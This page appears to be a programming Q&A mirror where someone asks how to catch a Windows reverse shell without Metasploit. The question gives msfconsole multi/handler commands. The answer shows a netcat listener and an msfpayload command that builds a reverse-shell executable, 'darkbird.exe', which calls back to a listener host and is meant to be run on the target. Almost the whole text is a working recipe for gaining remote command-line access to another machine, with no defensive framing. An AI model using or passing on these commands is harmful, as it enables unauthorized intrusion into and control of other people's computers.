Search code examples
metasploit

Standalone multi/handler reverse_tcp


Sorry for my english. Using metasploit I generated an exploit for windows 7 with windows/shell/reverse_tcp payload. Then I waiting connection using msfconsole:

use exploit/multi/handler
set PAYLOAD windows/shell/reverse_tcp
set LHOST 192.168.182.129
set LPORT 4444
exploit

I am successfully connected to command line of windows. However I need to expect connection without using metasploit. I found how to create standalone module, but it was only for an exploit. I need standalone multi/handler reverse_tcp or simply the code which listens to a certain port and then gives access to command line.


Solution

  • I don't really know what your constraints/restrictions are.
    My guess is that, you want to "receive shells" on a computer without metasploit installed on it.
    If that's the case, you could use msfd(metasploit daemon installed on a different computer) or simply netcat,socat,...

    What do you think of this:

    • listening with netcat on 192.168.1.2
      # nc -l -p 4444
    • Using a shell_reverse_tcp instead
      # msfpayload windows/shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 X /root/darkbird.exe
    • Execute darkbird.exe on the target